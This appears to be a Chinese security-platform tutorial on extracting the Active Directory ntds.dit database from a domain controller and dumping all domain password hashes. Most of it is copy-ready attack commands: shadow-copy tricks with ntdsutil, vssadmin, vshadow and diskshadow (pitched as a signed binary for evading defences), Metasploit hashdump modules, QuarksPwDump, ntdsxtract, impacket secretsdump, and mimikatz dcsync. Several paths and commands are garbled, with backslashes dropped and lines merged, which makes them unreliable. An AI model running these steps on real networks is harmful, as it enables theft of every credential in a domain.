STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

介绍

Ntds.dit(也被称为Active Directory database),默认路径为:C:\Windows\NTDS,且只能通过域控制器进程和协议访问。

直接复制是无法复制出来的,会弹出提示框,提示文件已在Encrypting File System(EFS)中打开

Ntdsutil工具提取方法

Ntdsutil介绍:

ntdsutil.exe是一个Active Directory提供管理设施的命令行工具。可使用ntdsutil.exe执行Active Directory的数据库维护,管理和控制单个主机操作,创建应用程序目录分区,以及删除由未使用Active Directory安装向导(DCPromp.exe)成功降级的域控制器留下的元数据,该工具默认被安装在域控制器上,我们可以在域控制器上进行操作,也可以通过域内机器远程在域控制器上操作

支持的操作系统:Server 2003、Server 2008、Server 2012

创建快照:

ntdsutil snapshot "activate instance ntds" create quit quit

查看快照是否创建成功:

ntdsutil snapshot "List All" quit quit

挂载快照:

ntdsutil snapshot "mount {GUID}" quit quit

拷贝快照:

copy C:\$SNAP_202202281107_VOLUMEC$\windowstdstds.dit c:\windows\temptds.dit

复制文件:

这样子就可以把ntds文件复制出来了

卸载并删除快照:

ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit

vssadmin工具提取

vssadmin介绍:

vssadmin1是Windows Server 2008及Windows 7系统提供的VSS管理工具,它可以用于创建或删除卷影副本,列出卷影副本的信息(只能管理系统Provider创建的卷影副本)。还可以用于显示所有安装的所有卷影副本写入程序(writers)和提供程序(providers),以及改变卷影副本存储空间(即所谓的“diff空间”)的大小等。支持的操作系统:Server 2008、Server 2012

创建快照:

vssadmin create shadow /for=c:

复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

删除快照:

vssadmin delete shadows /for=c: /quiet

vssown.vbs

vssown介绍:

vssown.vbs和vssadmin类似,它是由Tim Tomes开发完成的,它可以创建和删除卷影副本,以及启动和停止卷影复制服务。下载地址:

https://github.com/lanmaster53/ptscripts/blob/master/windows/vssown.vbs

启动卷影复制服务:

cscript vssown.vbs /start

创建一个C盘的卷影副本:

cscript vssown.vbs /create c

列出当前卷影副本:

cscript vssown.vbs /list

复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

删除卷影副本:

cscript vssown.vbs /delete {ID}

NTDSUTIL的IFM

将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:


ntdsutil "ac i ntds" "ifm" "create full c:/test" q q将ntds.dit复制到C盘下的test文件夹中的Active Directory文件夹中:

Nishang

Nishang介绍:

Nishang 是一个框架和脚本和有效负载的集合,它支持使用 PowerShell 进行攻击性安全、渗透测试和红队。Nishang 在渗透测试的所有阶段都很有用。其中Copy-VSS.ps1脚本,可以有效的下载地址:https://github.com/samratashok/nishang

导入Copy-VSS.ps1:

import-module .\Copy-VSS.ps1

执行命令:

Copy-vss

vshadow

vshadow介绍:

vshadow是一个简单的指令行工具,它允许任何人创建卷影拷贝。因为是微软自带的,所以可以有效的Bypass防火墙。下载地址:

https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/

vshadow创建快照:

vshadow.exe -p -nw C:

vshadow查看快照:

vshadow.exe -q

复制文件:

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit

vshadow删除快照:

vshadow.exe -da

diskshadow

diskshadow介绍:

DiskShadow.exe这款工具可以使用卷影拷贝服务(VSS)所提供的多个功能。默认配置下DiskShadow.exe使用了一种交互式命令解释器,这里跟DiskRaid或DiskPart比较类似。事实上,因为DiskShadow的代码是由微软官方签名的,而且在Windows Server 2008、Windows Server 2012和Windows Server 2016中默认包含了DiskShadow。DiskShadow.exe也是可以用来操作VSS导出ntds.dit,其功能上类似vshadow。它同样是被放在了c:\windows\system32目录中,而vshadow则是被包含在windowsSDK中,实战中可能还需要想办法传到目标机器上,也就是说,diskshadow在我们实际渗透过程中更便于在目标系统上使用。diskshadow拥有交互模式和非交互模式两种,交互模式需要登录远程桌面等图形化管理方法,不利于隐蔽的进行渗透,所以我们一般使用非交互模式进行操作。因为不论是交互模式还是非交互模式都可以使用EXEC通过调取一个脚本文件执行相关命令

diskshadow基础用法:

先写一个执行计算机的命令保存到c盘


echo exec C:\Windows\System32\calc.exe > c:\command.txt

然后使用diskshadow执行即可打开计算机,使用此方法还可以绕过很多waf,比如powershell无文件落地,因为diskshadow自带微软官方签名


diskshadow.exe /s c:\command.txt

diskshadow提取ntds.dit:

把以下代码保存到txt并执行


set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% k:exec “cmd.exe” /c copy K:\Windows\NTDStds.dit c:tds.ditdelete shadows alllist shadows allresetexit

可以看到多出来了一个盘,这个盘的windows\NTDS\文件夹是可以复制出来的

使用Metasploit获取域散列

msf中可能用到的模块

post/windows/gather/ntds_location 该模块可查看ntds路径post/windows/gather/smart_hashdump 在线导出域账号hash(建议在2012以上使用)auxiliary/admin/smb/psexec_ntdsgrad 利用域管账号,导出ntds必要文件到本地post/windows/gather/ntds_grabber 利用powershell将ntds必要文件下载到本地后导出post/windows/gather/credentials/domain_hashdump 介绍其方法

模块:post/windows/gather/ntds_location

该模块可查看ntds路径,首先获取一个域控的shell

获取shell之后,使用模块进行查找路径:


msf6 > search ntdsmsf6 > use post/windows/gather/ntds_locationmsf6 post(windows/gather/ntds_location) > set SESSION 1msf6 post(windows/gather/ntds_location) > run

模块:post/windows/gather/smart_hashdump

在线导出域账号hash(建议在2012以上使用)


msf6 > search smart_hashmsf6 > use post/windows/gather/smart_hashdumpmsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

模块:auxiliary/admin/smb/psexec_ntdsgrad

利用域管账号,导出ntds必要文件到本地


msf6 > search ntdsmsf6 > use auxiliary/admin/smb/psexec_ntdsgrabmsf6 auxiliary(admin/smb/psexec_ntdsgrab) > set RHOSTS 172.16.1.169msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBDomain 域名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBUser 用户名msf6 auxiliary(admin/smb/psexec_ntdsgrab) > set SMBPass 密码msf6 auxiliary(admin/smb/psexec_ntdsgrab) > run

模块:post/windows/gather/ntds_grabber

利用powershell将ntds必要文件下载到本地后导出msf6 > search ntds_grabbermsf6 > use post/windows/gather/ntds_grabbermsf6 post(windows/gather/smart_hashdump) > set SESSION 1msf6 post(windows/gather/smart_hashdump) > run

QuarksPwDump导出域账号域散列值

QuarksPwDump介绍:

QuarksPwDump是一款开放源代码的Windows用户凭据提取工具,它可以抓取windows平台下多种类型的用户凭据,包括:本地帐户、域帐户、缓存的域帐户和Bitlocker等等。

下载地址:https://github.com/tuthimi/quarkspwdump/

从注册表抓取System:

reg save hklm\system system.hive

修复ntds.dit:

esentutl /p /o ntds.dit

QuarksPwDump导出域用户hash到log.txt:

QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

使用esedbexport恢复ntds.dit

安装依赖:

sudo apt-get install autoconf automake autopoint libtool pkg-config

安装libesedb:

下载地址:https://github.com/libyal/libesedb

进行安装

wget https://github.com/libyal/libesedb/releases/download/20200418/libesedb-experimental-20200418.tar.gztar zvxf libesedb-experimental-20200418.tar.gz./configuresudo make && make install && ldconfigsudo ldconfigesedbtools/esedbexport

使用libesedb提取信息:


esedbexport -m tables ntds.dit

提取完了后会出现一个文件夹,里面存放了很多个表

安装ntdsxtract:


git clone https://github.com/csababarta/ntdsxtract.gitcd ntdsxtract/python setup.py build && python setup.py install

安装完成后将提取出的tds.dit.export文件夹中的datatable.3和link_table.5文件,以及System文件一起放入ntdsxtract文件夹,system文件位置在


C:\Windows\System32\config

如果复制不出来可以使用diskshadow,或者从注册表中导出


reg save hklm\system system.hive

然后使用以下命令将域内的所有用户及散列值导出到result.txt文件中


python dsusers.py datatable.3 link_table.5 output --syshive system.hive --passwordhashes --pwdformat ocl --ntoutfile ntout --lmoutfile lmout | tee result.txt


使用impacket导出Hash

介绍:

Impacket是用于处理网络协议的Python类的集合。Impacket专注于提供对数据包的低级编程访问,对于某些协议(如SMB1-3和MSRPC),提供协议实现本身。数据包可以从零开始构造,也可以从原始数据解析,而面向对象的API使使用深层协议层次结构变得简单。

下载:

git clone https://github.com/SecureAuthCorp/impacket.gitpython setup.py install

导出Hash:

impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

利用Dcsync获取域用户Hash

介绍:

Mimikatz有一个名为dcsync的功能,它利用目录复制服务直接读取ntds.dit文件检索哈希值,但是必须使用域管理员权限运行mimikatz才可以读取ntds.dit

使用方法:

lsadump::dcsync /domain:god.org /all /csv

指定某个用户:

lsadump::dcsync /domain:god.org /all /user:Administrator

RECRUITMENT